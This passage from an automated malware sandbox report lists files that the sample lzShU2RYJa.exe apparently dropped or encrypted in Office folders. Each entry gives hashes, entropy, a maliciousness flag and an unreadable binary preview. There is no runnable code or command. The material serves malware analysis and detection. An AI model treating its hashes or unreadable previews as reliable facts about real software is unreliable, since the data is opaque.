Preview:	.<?j...O..k.....U...<=.a.J..0......z9....2.>....@..sgW..O.T&....p......>u.N....hy..(.H...M.2..\..-..P2....o..4Q.TJ..bW....-.....?!8.-......u..O....x.n:r...]l..-.e._."...E1m..(........R.ai..=.s.....\Q.}x..f..b.N.F~.......E.....Ex..t3{..`o....;.EX...WK.F.e.x..87.........'....(..HwT...%..E.6.m.N.R[.Dm....U.xl...%9.....^.NW5v..l."..i..N..P~lU....t5..W>l.D..JF.A./.^H.j......(..K...g..$u..Sg..".}z..z;......WC.\|..~?.AJ...a..}.h,.....m..U/...bz5..N-....3.Tx..F........Zw.....L:.+.....7/.....%2dK5...{.W..c..g...]k.2.X#.AK..E.."....$...&.....V...9uj.P.lXs...>...F..uPX.a#....".W.B$..S/....m.^kR.........7..o....G.R.................h]...}b.GCXSN.H.UU).\|.VV....... wt..-.<.G..jN....f....I.z...?itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.679949625577737
Encrypted:	false
SSDEEP:	12:nYEQCcfWVGwuKMUM8qziYuvouovgmLVhNs8MfEHlIIGbZVKHREdRX/yoY825jVcq:YEeWTnMXPgEYaVhNsEFebZVSETirVbD
MD5:	ECE0199575CFFB78BE3933F40D70173F
SHA1:	61D5D4D6A7C99E5BEEE04CF85D3133319C4C0839
SHA-256:	80BEC0CC1E3CD42B1E3F3F62B587E8F491E265AE7F9B77E2966E554C5E11236A
SHA-512:	6E18BCD8589EE0C3F331D776B8ABE5DAA70B2E4DF6D8DBAA1B4E817D88FAC4DF4F5517AD7A11B428ADB9DF68DBB89AF4118CE21A1F5749B295C9ED119751C9A3
Malicious:	false
Preview:	.<?.....6R...$&....xm..I..m.....:.Y...f<P.z$.G..._.].Y8..w..xKZgb..3...b...C.n0-.G$.tN.\|..a.R.Z..D...r&...\|.~.=...NqIl..r....F.:.5..Dy@"..F+s...j...p.G.YW.<k..AN%.z....8..g.G.mSx....Q,j......}..;..+..y.P6`.p.....5.<...W%.....CL.O....a.{5..[...../-..Ya......P.>..5.. :g.6...#.P..Y..o..K^...\......f.......[..YC......6iY..L..E..)...........U3J ?!...^...'V....k......`..CJ...MU.......W..'U.....G...P.....l...Z5...@..Ly.).....[..g....R8.P\|..x..S.h++..,..>2.....VTG3....vD.....}.... j......S%.e............V$..VJ.b..L\..IRV.I..`Ex.i...1.N.d\|..%9..8On.8..?.{.b...a...$.I.....`,.}..!.....\\|....>..2....S..W....y%9..8....".".oDV4.N-#....*.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.887691066156578
Encrypted:	false
SSDEEP:	48:OVfC97swZL7U3W8rWjhw7tMpeEklZm3oOuwRWIEFD:OVs7sOLABrkbuZajvIIE9
MD5:	E8884FAD1F469FFF00085E254E00AE9D
SHA1:	F61D12A97AAE9C7ECFF762C74F7219A09FA5120F
SHA-256:	0B9113BD10831DB37ED5CAB884D287737321D267810195EBA2E3878E2FA82625
SHA-512:	41170615F3D836B46CF209506F615BD593F2B040F07A0EF885BAC2748A4DBA59BCDEC7C1FB5408C0528DA909E45978356BE0A375931814D54E613F6906FEDC5A
Malicious:	false
Preview:	.<?..........Z...&.....G...-......;.d.G/qG..?...^x.....z.~;.....q.qq.q.5J....QD..o..e..>...v...dEb.L..V.8..Q.......$..L/.t.T"I./../.=.#...6.cqN}./&.sS..n..2.hKT.^.m..@..V.R.....)....w......1j.!.W....%..1..?'^..I.....c;.W..V<wYA.-,.SE.....#..q$F....t...:.......dI.h...\|Z.$.:...?....0[.-.......:&.P'.Z...r{..Y$.;P......b.#>c%O.j..Gy.M..lY,--\/4.$..UB,...#.....F.E.;~Gm!J..d...U......]...a.$L...PHJ..'.xf.._.m.(.PB..h.q..,.. ...`\f...m....../.A..?n.....q...:3.72T...A.c.p.Q.t?.5&.!\...e..G.!.X....Z.....I.^.z.Y.N..l...y.}.A.:E.....P..l...nN<U.[0....p4.%.Yp..5ne.WM.:%....;...7...2.!.h ......2t.7o.l.......>Pl.<....J(l.bZ....$.i....G.i..X.e.2Wj;V...Ap.Q>...4.S....[..%.O...KA....X.wx....H......g.rB`S..5.............1#.9v]Z..v.D.....%.T.a7...[R..f.j...............J.ZP..AbG`..........o.?..+..k.l..v...~..._d..4!.b...c..../.~.< t-..j.A..)...g...^.8hp#Q...l...~........L.5...4$e<.:}K._......].L..~C.Q...[..:JI~.cg..t.X.\|..(\|.'..+[4..'........h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.884445354330333
Encrypted:	false
SSDEEP:	48:RVHX7AfpsuwxLYeieTVDE96dOeDgedtJaLzu1FD:RVHX8fpsuwxLXieVkwgedt8s9
MD5:	DA04D6855CE7F0EC386BEA03591A1863
SHA1:	1F2BB28CB89B5EA98BA9A136764CAE108BCF3ED7
SHA-256:	31DF080BDAC10614C37E4373CB9FC350C5224FD07EA4761154F60F9B7648F924
SHA-512:	CF54690BB823BF9789CA1CA5FB60322326922F06306ED5916C7BB0F4059675676827C405BF7CA7264549626AB2A9792922B724C3F12D59B764D204F707CFA517
Malicious:	false
Preview:	.<?^\.N'..).<...ou..%{..}N...g.G..+..3X.`.R...`.zQ..-.....l.....z%z.W.."?....w..-.u..Z+..F.hR...I.Hl. .+=..$.e..U......V.+q2...S>...g.L.5....o........1T&C..Gx.....h..lxIje.8q.....G..}..J..&.r.(.En5....wa......9.t..Ut....}N.sD.+fm7.\....hm&...I.BA%...9'.N.9.f.\....7.U(<.">.t,;.f..._.6Cd....j5.`VO...../..5.........6....8yE7_.5.E..A.81...iHz;.PM5\".O.....g.W.[V8......b..w...`a...@.!......_.8....o.j..7..c.i?.....3..hs....GXb[......;.O.~@.g6#.]....4...P.e3.&X..A..$.@u.U.@v..lV{3..D.._.M.]i.>9A;..qo.N.m@.j9.0zj3.f.+.LH....4k.x]....5$.Q..k.)K.g..{..WP.\....9..3.$..6......j.....I..N)..N..H>..8.B..R.m9.V.6.......x.2..s..z.N.vK............\|G...\Z.qqcM..\...%...p.....yL...).9.S{!."_.....q.N[K-.,P....r...YA....x.B....I.k+!.l..R.lX.z.....x.'d.=.e.T.A......E.0...P.;P..WAx.(..>=...?..a..0....v({....(.Y.......).....]...{.......rF.../...0.2..xel....!..D.36..%...T0`y..S..?-!;V..i...a.7.....O._...z+..^Z......."HH.rL...~.L./.(U.Q..TS.).McI.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.886803061274244
Encrypted:	false
SSDEEP:	48:1alT5aGpdLOGwqmmx/9Kk0QuEoBTJUfcprzrFD:1alTFripqmm/IT40pD9
MD5:	6319DDD0DB2187ECEE65573C3A2B64E9
SHA1:	7C075A29BA8D6D5CBB203BE58004B44E69403809
SHA-256:	4EA4EBA82DCADB725A4DB65AD28862C714083AE12D998B9ACD8147AE2B1AB859
SHA-512:	0C9B8220671B992EBBA9E48AED3AF0A785AD4078B91BE5CCEF7CF5745150B690E6CC008E4300C4EC00DE04B7441067BBFEAF2E9299F64317F84393624DEEB12D
Malicious:	false
Preview:	.<?..=..s.............H.$.>............G(....I>..E....!,....<...Q..P..d..=2..z....j..=...e=~..<.<V...O...QV._..)..@.?.m...nD.h.........?...ZnAU./...]...../]...U<...DSE...Q+...}.\|/...x./.;........'.H.......f.a....C.J..i...dy.z..s.}.:W.K!.Yg...1..q.)s^q.x.h.v-.4Wf.<........UE..i......3.f...A.zu.........)._.....I.M..5.n,.{......#)..e^..t..8p=tq.a..L1....]mwt-.j87E_...........).U..u....R.......9e.v.J. ..g..A..j.h....QP...3....._M-..b<.........j...6..D..<}......:.d.C..>w...b..(P.5u..t.Q.o.._.,... ...\...@.k.....S......m......`.FL-..3.....v.}.}..bc../...E2'.....q...&.$.6.4QwO+..g......BL...R<...R..M?8.g......g..p.%.$0dU.KDJ..V4.uD..t....X.nWt.U...c8..3..SQ.x........wZUPdd.ju.h(PF...,?.....e..a.&Lj,s.k.d0...7;..kh{p..{B..R5.. ..1..@.R.....^..P.-...Q.&.p........a.".}..p%[..\.&S ...T.Yd.s.c.i.F)0_`..2j.S.....(@..=....\|....]B..?..4..<...FeC..W...._..,J..f..Tv....,.u..`.E.Tu2e.y..n.A4G.D.$.O...Pa9....v...[.;X.......SD.5.....B.......2A..(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.885996583265994
Encrypted:	false
SSDEEP:	48:BAJFZSoeKbnCixrJElTRum8WggHFwCX+QJcJVFD:BMzDCiJUjgswCX+oq9
MD5:	6A8AB5E0937294F1CA21609D1C42503E
SHA1:	FA6EFB6FC80D80A41FF98CDE44E0D56621B7A3B8
SHA-256:	38F3F9912B1CEE3C0DF51AA98FC5608136B3FFA4340DABF07268958D8E572FCC
SHA-512:	821DADE344E17EDAB128CD581A11BEDE616C3029BDB7183A68B104934F52B12114CE17CABC36F2146ED04D28DB5098778D18250E35D3DD36F4BC7C9B2F0392DB
Malicious:	false
Preview:	.<?......t........X.f.Z. .'M?.IS..W.I.r..a..k3..B.9..]..F.8._...O:..'d....-.!^.....D..r.FD.H..z2W4]Le6=.2...!\x...J...x..j....5Fc...\p3."..?.".'.A.k#:./.N._.>.."P..^.T...B/.v.......^z..3.bo ..............jU.....U.')MK.....0.y..l...^.#L._...1..i.L..WF........IP=g..i....r....jZ.u.hv<..q.d!..uB...!.K.c.VR.Z.....j/Cw...[.8S..NPP.y..1a.!....2.-......I.Ur=..6yJp..g.'W...DK.....N...{g..\\|/7..[..........Z......R6].....~w..b.8........@!3...j....7@.."..;..........[...W.$.L..y......li.Bo#.Z...W......U...+._.....t...d..>.....[....Jl".3xH.7..'.......en.b...q.}.......!.qY....`.S. ..B2)b.Hl..q..j\.o..I$.;.J...u...........B..S.$.....\..Fq....bb\Ff.........^uQ.^.g+..{.f..[.g81W>.T.......4..HT..]..W.DH.s.D..>;....ar(...!.#.~'.....e.........l.n.wU.....H.9......!V...B.bW.<...,.y.j.3x#..G..^3....Txv.a....7... ..P>......+.u. .H..K\..C+...:....6.F{P._..X%%m@\....iE...O...d..z....Q..uy............1j.........{.x..m0i...P.......O.O..b.7....L.b.._.\|X.P.]....W<.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.886280532863183
Encrypted:	false
SSDEEP:	48:Zdidnqv5BCjIof/Glp1xGPuZRMkXq4z/yFD:wqv5B3omlD6uzjq4za9
MD5:	3F48C2503270FAE9C240133EB7CB1091
SHA1:	1B40D574AA402AE41E90B4B950F8C3DAFEC522DA
SHA-256:	7BB880D69CAF985827C275D64C86DB315190B7EEFF3F2D6158A395BC50735761
SHA-512:	91388D8EDA006EF456C3FC7DBB88F6DBB8D4618AFC1BB17F8636AA80D406BB4239A185E18DBC7C85C7ED013195FF31C1E4B823974EAD10C733BD12EAFA43420A
Malicious:	false
Preview:	.<?.E...#..':M..ET;..@.s<.... 6.Gr..T..kH.{?..qc...>$w..(....!...ACkT....1.5'...x....>..".0.o.Vj;../Gs...so.={.Kn..32..}!....w.>....\...k,A).m=;.\|U.u...N..=.....w...2.Y$.+.....M3"..0~:..7N.2T...=.N..D....d.r.`..)......\.l.8'......Tm..D.u.?.......=..c..@.ps..\|....{,.p.\|(1cMu...i$...../.+F.k...9Zq.=...1.^.?hN.b...a9p.@9..l.P}d}._.mv}&'+6.]$@..i6g.C...r...o..QH..c#....j.-..{..z..??...J.M\|..^.B."z.r...^.[g.....^EM.I.........T.WMd."....&.Bd.O.2.0..?.&p....aG..._.^.........n.:0'Y.....(......UNr..Dy.d.E...p...d.x.$...0m....$Zk...p..;...W;.Gc...Z......=x>,........=...&.....}.K..(^k.s.i..y:...>dz.Um.z...F..q..".aj..S9.....HP]...q-......,.<.m..p.6k....f...92.R.@K...b..B...a.N.$./..!?@..u.......MaE.Z....".....m..\|...s....Z[....(Dp!...B...S..-..f..g...M`)..../.....\|H.Z.f.^4s......w.8>s.>.....z..g.m.<..x.......u...>Q!......i..FZ..lLM....Z.t....+...h\....w..h$h..N../...u.(.....Ih.._...]*9.U>.z=..Cn17.l...;..@.g+@..k.U......@..Vl.Q.].D..H...M{M.."XF<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.884778282247032
Encrypted:	false
SSDEEP:	48:KhL6IKav99CHmamJKV5ZpieXWZGx9yMlMDNFD:W6Il9Cp8eXW+wAK9
MD5:	D245F4856149355022C7F56A558A5B51
SHA1:	FB75AA49C2A419F2254D67AEBF692FDF0E0550D4
SHA-256:	F87710C001765A4B17E957302E29551F2A6CCD5326D60A0CC2D1B2A8BEE981BB
SHA-512:	5362FFBB0A7815E40AECD81EFBD721DD91C83A7A415D732196530827DA99B846102C44CD415956B5FB72E6C963C0335518249D8CCD41145AF9FF586B465A8E4F
Malicious:	false
Preview:	.<?..w..t.g.r/.9Zoa...E.C..S..B\..Q.WN:....&.I.w..5.]q..._..c-=.e...K."...`..Gd..;.<..:.....yU._g\|..L....+a...{sjQ.Y...X.....r...!.C.IXY..7<.....\.;.......!....e.z..ts.3..l..d0..f.V9.ec...8/.....T./...>`4[+<x..~.....u.......v../..4.....%.~.H...V\|.....4.9...?f.~.a....g.....x..;.f.2....J1~..u........k2.0.........kAv7u........r....O..deL.r...["pH\F..]#S}.x.6....F........;...##.~0..y....1;../w.BY.8..c~.pVV...U....Y..'.3.' 7...\.7...b.4...%G..y.PYW..7...U2.-...%.7>.<.S.=.G.,...>.x..8C..F........&.......Qj1......Q....%~...t...".j.AL @.9..m..`..B....s..P..T.[..q.#..lKk...........Mz.1....L9....:......6...W.....J.....[.k.M.............t?_... ....^.~D............A......U,. .-nxq.........^I...5w......+..J.>....9.X.. w.n.........S...y..~.6X~.q,.`^5eG`.L.S0u.F.?...X./u..V.9..,%.s...}bx...Ni.u<.~%{..g...E..,>].Q..\|.;c.~z..[..}......n.[<....).f..r........R@Z.Q...&r.t%`.E.,..P...z.Bwz.;..;M.l.#.%;....yX.7.z.....-.@..4.fq.b..M]..T.L.nq.8q\..i#....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.866693474703998
Encrypted:	false
SSDEEP:	48:LwkB8+9gqbaXzaUfIHiI+Xpo8Z5XYWk6W0sk3BFD:UkBVTa8+Xpnrwqs29
MD5:	F96349BEF34A27B38DC512884E1473CC
SHA1:	40EA2A1FD2892471FF47A00A9726ACEAFC351891
SHA-256:	5DD04A47369235DC3456801D2D3A2733034A71816D0A0C504C12A1470FCC41FA
SHA-512:	E5679EC522C2C8F8038468B4345BF15680226D12453EC885175D20B526B1DB439991C01185AC3A61A024DB9CED7D10F4010693575D76944DE87C3361454EC147
Malicious:	false
Preview:	.<?......N..<s...HZ.W+EH.j..}.h...E...+b..n...{.HXWq.N`X..+.?Vt.-..2..._..[..........\|/T..BM.....+I.......R..3U..d.V07.qTY..[ysP...........N.c;v..@j...t.G..<K.J^.x.t../h.....^..U.....$.K...B.O.PD../....I:(.w.)}...p.N...fj..0'..l n.Gm....{J...eo.......w.e.."..!.)~+..z.(.]y.xG.qi(x{.....}.9...68.Y.~(,...).Q...>x?..+[........^..J......^x.w..%.......%..NC.../f..q...{0+.6.~K.7.U.....Y...JE........4..d.oh(.'=c......'W......g.1^.. .)7SN...}.8Q...2........R~...f.]r.......,....U.O.B..2....}.{ .G.i.d...k...X..4..{..\|.\|..oXO........e.....t$[.\|....~w....y/X..5~7.Wo..W...,_.y.b7.z.04\|..I.sSR.g...6.....4..." ..t.d..I.R...].mz...,.C...'`.v[oJ)... Or/<M.r...'.....l..l...:...p...<o2.cK..`..B...V.E..=[9I.2.N.#..H....5l..<e\..fuY.V.I..a?.6........2.eO+.........z.1....E,..[.h.....nj7....a.B.8kD.?u&=.+.+..kw`7........Hl.6....v...g[.....-.s.t...(.Y.\...m......^..Z(...e....j.}.Wt6.A[.t.tr....._wT..o;....w..7...cZR..U.eA..c.....-..I+...d......"..S..u...X.3.e....?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8858667128831215
Encrypted:	false
SSDEEP:	48:jhtV3bu4rGT6N7TrA2saBbG6AJrZJL3FD:j7VLd97lsaBbG6Ap/9
MD5:	3F0950AA36D2C6523C7B40472CE97B66
SHA1:	EAAC11D9F3991E144C5F72BA1C2343754BCBDAB7
SHA-256:	2C5CAAA2D80FFC96943010F413FA8F216F05CE28FE5B4475DAA8A93D78A39800
SHA-512:	DD1DA6BD3CADF461401669B8019C4A4D24A8A3BB45F9AA03A3A2E0187323E70785205CCF624023D359C198207733A1579E24AB4D408CD490A593945AAD2C1AFB
Malicious:	false
Preview:	.<?.t5...moL......%.<4y(.e....2......1.....\U.F.h....1fV~.#7.0...~_\)...2Ck......S...I..@.1..-...\(.8...).\~......Z._\..IJ.S.q{...[]\|..8...v.1R....:5..N...:F..W..[.....5\|.V........;!...8jM..E7.V.C(.@...-e...'..2Q.......h...j........00!. ..vH..T^^D[.~=z.....j..M3...AD.h.J&pa~J...Y..f%..S...y...(d...`...>.B9.fP......Fe...?..1.si..54.W.].k.=2o"h..)J...:..W...s.?.".,..ql.................r.6...]\6k..K..u.F.\5(.....;.)!\..~....hRo..]...}........!.....".:..B$.7...F.l^?.J.5.Xj....MYs.....);../[.7.z...."5AG..d.3a..R.......^..s......."q.Q&1...C..D...h.....Gq.....C{.Xo..7._u..@.F6F.v......;.....K..R.d.C.\|..@.`@."...g...H..c..`...._..F........c..v'x...../!v.k..G.Z.}.....uX#....`.......G...........z...&...R.C.......5.......$.bb......%....JJ.`.GIo'e[Z...)....3S....<.B....~v......3=../P.P........].,..w..(.P.......2..:O..&...iO`.o^...zD[^..Fnm..p..........9...%.N!.Dyz3V2...9.B.zeD.e.h...N..r.....8..8.....ZI.@-7r.N.'~d../...x>..."...=.............

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.857274180761918
Encrypted:	false
SSDEEP:	24:tVWhB301Qx24vEQ4NcK5ULygL0CiG70H820f+JSLaMsWtQ069Yh8KJGhVbD:toh50h4cdjCV0H82RkmMjv69NSGhFD
MD5:	1C5878BDE5DEB771E7FF72C73BEAA510
SHA1:	DB64140EBC733A0201404510CBE530814D2B6C2D
SHA-256:	AE5648AE038FEBFB41CDE782DA062DA3EB2E64D949F7EAE8CB5D4EECBDFADD49
SHA-512:	56E60143B07E5C2914CA29B6E3667E5818E7FA88EF3A8CE6872770AB2ED1773E6B97326F82D93708D462D6BC26E05FD1A97B667E515128FDD42C4F592361E048
Malicious:	false
Preview:	.<?..C%DL......#..<.....h...J.......%.M.;w7..+5iwh.=.K!N.R.u..w.6.R.W.L\|...B./.<LY..~I2.....p.l-...G....<..2...H..+Z...?l........M...<z........!7..K0V...2".{..2P.M..myBz8"..).s.$.u....."r.L.6.>:.V.}s.W_..M..8x........L.OGwn.c...[0..=.Yu..}.......A._.!....h...QlMNHw...5.....'Yv...."+$a.....^...&h...H.....Y.ADk....v.Mt.x..?+MB.B...c...$........ .)kG.$D.QxT."...I5`.gR.....Y;$~D.&s.A4..........A..F..YUJ:...<...{r..S..4.O.<.Dl...X....9...8.{.(.;qYs..h{g.....b.R..>.....?AY..;J.}....RN. ..........0$.6p..`s&.}.a .%....c....Ph..e....s.\..q....gF...3Rn.g}..E..NeH.-.M........Z.5....I..HUU%..z.W3<'....k.E....&7.vnlG...w^.4.\|.).C..nc.N.....C../j..d.....V...`.`..]j.Y.h..qi..KF.m.6rM.;..L=&.LlM.!.Z........^H.e7...&..hq..Z..w.c\..}.<..L..b...;.eV..p._.JKGH?...b.t..(...}jo...9....!..S.8a...Na..h.^.....]..w.H..`\i.>i...6.J....A..&.e>...%{..c.:)A........<.l..B=........d.2.B...s...GpVB...aEZk...l?...\|....6U..Ao..7n.s.....?.2..E..By3..X1...l..Mi}..*.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.878063393420195
Encrypted:	false
SSDEEP:	48:s/Zrkbwb4Yny4Bz8/ENt690lQ0yqvuEfb25HI7pvFD:s2bxaz8MNi0+0nb25HSR9
MD5:	0A18FCDE60876D1A9DBE3DAD1BB71821
SHA1:	3AA74C487658AEADB5F8C4724F946E46F0B0A7C9
SHA-256:	F80F0285C2E85828B5C80C8C6AAD94C9EB4B5E68C99CB38739568C261F566C80
SHA-512:	519737C0B48F9ACFB28A1841FC35A7E2733DE33D3CEAFD856E85FAC00B1AB669B916F32E1C50CCD9AA0FD5BB8E0CACC8A548C02CB3AE5199D069C88223491FB7
Malicious:	false
Preview:	.<?..:S..#y.....fz.z\|2.Zc).j2.)a....uU..p5.,.^c@....-_1.=.9`h.G.W..r.d+l....+..g.....X]..Y.TUj..N..H....64.3...8.......4..{@k.w..Hf...>,.;...EK..0X.@V0@/....<...+.`..jH%ZqOS....bGp.&.'E..(....n..z\e.wR...W...<....k.M........S.%.....u.."h......k@8.........n...7E_..(<1...Xg..O&:.O.ULrdA.].......k=..K..Y.g...t..P...!qLe..^.j..`G^.li....."..y..@[N.....'.YZ..... .6dG;'.#g#S.kk.k...f.E....2..0..R.B6J...P._F3...]..5x.&x....9.4c.}..%..........Vaqx5`...3..%..:..S..0...]M....-..<.......#....S.&..?...i..'DL.h...x..d..i.D...{B...kL?s..Q..nW5...HDS`....?...P....Neq.....k..ao...D"...<..x.v.....1...>.n.V.....F.=.e.... .n..]@.....<..q.].\|s'.Q...h...o..U.y.&ea&........GV...-a~.=w5..U.>h.....C.\|F!rvP)....OW).N....>..".(w.....xBF.z.....mR......D9F....0k..,._...........>.EFHX.}-..._..UU.^t.....b........d..^[..S....{..h'.Y.....i.`"...T..wg_.d.u.'Q...p..v.g....F..wmRxE..-h...}.(..}..*.=.<^@.X@.7x.`.x....R.\....).UXVD..."..gvD....V.i.6.G.x.e.}..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.879047818035096
Encrypted:	false
SSDEEP:	48:7PpH4yLTXshs2s72YqKBbvNV1qS7AExMFD:7BH4yLTXshrs7TqKBbFV1RM9
MD5:	DFA71D598C7713FB6CAE5DB54F50675A
SHA1:	578D4554C5542731486CE5C60A94CB444D5A9C18
SHA-256:	5DBC313AFD0E469AF006F09AE97F43B5DE26AA8820FA756702765FC2CBB7140C
SHA-512:	32886CE880019C4E7E71ED020E7E9EAF28DD8D60020666C9CD5BA989B36D93CDF31344C9D9D03D8A366F59A672D3E64EDB7BE1A701FE796282B747CE6726B538
Malicious:	false
Preview:	<?xmlF......p...(oGiD......#1..{.;............n..3...A.>\|....]..-.)4..{$V..\|..9.J.l..&E3J7e....b.Wq............nb.(.g.B.M.$........,.......0...<.......S0.o....[;....s.<.M..B.._...s.d<...4I....[..m..!.e../...tv.b..'..y?....{.h.(Y:...b.m$.A.(....'l....w[o..)..z.&..u.... ZS..QT.AR.A...93....K#.....l...r-l.".H..'(..`I........Nq...&....Lvu.x.!.G...;f.._&..RpS.w\|AP^h.....M.5......aF...Ak-..Pt.q.E...V..N.PN....5...<R7....V.../.\v.?...R..z.L./.......e...._..!....sE..\.Q.K...o....?.!,b...4>.$.L...m.ieP<.9...?oZ...w S.......4..w.s.......H.`P.2#D..........Sj.o...aI...y.g8..%I..=.[.<....:d.Q.w1..]...`.y.(.c}...4.c.....j.]....CA.......C...V....R.d%?]q.Me....?....c.&._j...;..H....v.2/.,sk.G...9/...O..y.#Cc...E...q.^.....+..........`.B=\|.O...>.).K..]>r.[J.......e...!...4.......l...u..O.TnPn=`]...W~.A.=.....j.y..aL]_.p......3+..e...$.a.....E.r5o.5......f..>&+...\|ng...7.qn.g@..0r.r.p.9b....W)..#........`.f./n.#.C^q.\...........Oc..3....9B=....U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.9986282015466434
Encrypted:	true
SSDEEP:	3072:nxad7O9QHUBqRZ6x3myyOiAbRuk73qFlpuFTl:xueQ76x3mWPRu9FlUf
MD5:	27D918DF617E14DAE03ABEB88F73B953
SHA1:	79D0117C82EDD166AF9E4897C483B32A945C3C01
SHA-256:	6529738AFCBC62A3FF0BEA234AA52CAB411173F2CAA0884A678CDC27304C79F8
SHA-512:	9F2593752345E44DC710EAAF15663E1E8A09340ACD34C32BC75A6C35D5003F1011D81421F8BDEAE17C893589E1F49A197E167E0EDB76BD6A4371771A2EBA1732
Malicious:	true
Preview:	<?xml/v....{3..}...}`..{...,RTL...".u.....}....t..`.....Z.m.....ll..............1.7.D....WB......b...R...#..hd.^...-.U........a...l.`..Q..{.0......;......=.A....[."15$....Ant..Qu...e....B6.{.(.]&.y.(;.c;2.RT..Dul....GE....T.1.Y,$.?..~1>...!=..,.....;px.^+...3Ac.]..c.f9h@V.....P......\#;.o....EW..?...E....5 ~.ra..Tg...e..!.mp..f.......w......C..u...d.......0...2g..:..>^.ci.t<`.4......G.ShB.%/..JB....H..N....p.n.sv.$....../....k.[.8^....6:C.Z.o...iK.x.].....`.p......Z.4.?...Z...o....I.xs...q..t*LS:o........\C.IM.>.H.E..C....Xp..O..0t.u.MR....Q.... r..7....j..!.....< .5)..ct......W'.D.?.9-.0......"...........Bt.`....X%..,fk.W..V./d.L9..g...S&?b...M....a./...".T:.6....S{..CT...........5~.4f.t..F{.'..w.....X..Ep....Z..4..f.L#.\|#.\.ij...I..#..h._...Jj..+!.x.....3.Y...r..........W?C......d.....=.._M[..K"...p.y.x...2.Z.A.....V..[..&..tt.$..P..5......_.[.t:. ,B3.8....7 ...'@..P.\JB%.....+.5..~6...\|.I........2t...L.^+...z......}b..h....c.wH7.....

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.828571488230226
Encrypted:	false
SSDEEP:	24:nXMnYUIlRmLwQhwHxj0yPLVJKgMhLsrqxny1h9r0VbD:nXAYF6MQhsjZPJJKr6qxy1h50FD
MD5:	EDCA3A574A78CB47170597E87F215163
SHA1:	191935DC9D781BA4F70A49C428BB2BB6CE4D6B14
SHA-256:	1F431641CAC2F9A2C768617F1DEF89761B4D8BE4BA6D542657FF81F30D25B9CE
SHA-512:	E9A251A838376B88B26CDFD867E3D1F3553943707A73233EA804C7F2AF22F06B80E137834C1DD7465CBAF7B511F1ADD4B409C8D837CE3C5BA748936F51852905
Malicious:	false
Preview:	1.1.9t..i..y......FC.%..c.a..]3.'A.z.......e..y.x...WI.s.?...u..........Q...o.+..._.(.3.<V...b.9x...8...@..7[...S.....NE....P.h....S..!...rq.C.Bn/.,..........#..6..].l..)D\../...m......R...$.\.S^....x..>....M.....!........T..\...W.2{.... L;o_Y.P.f..A.Lp..a@_.t.i..[.e..x.... 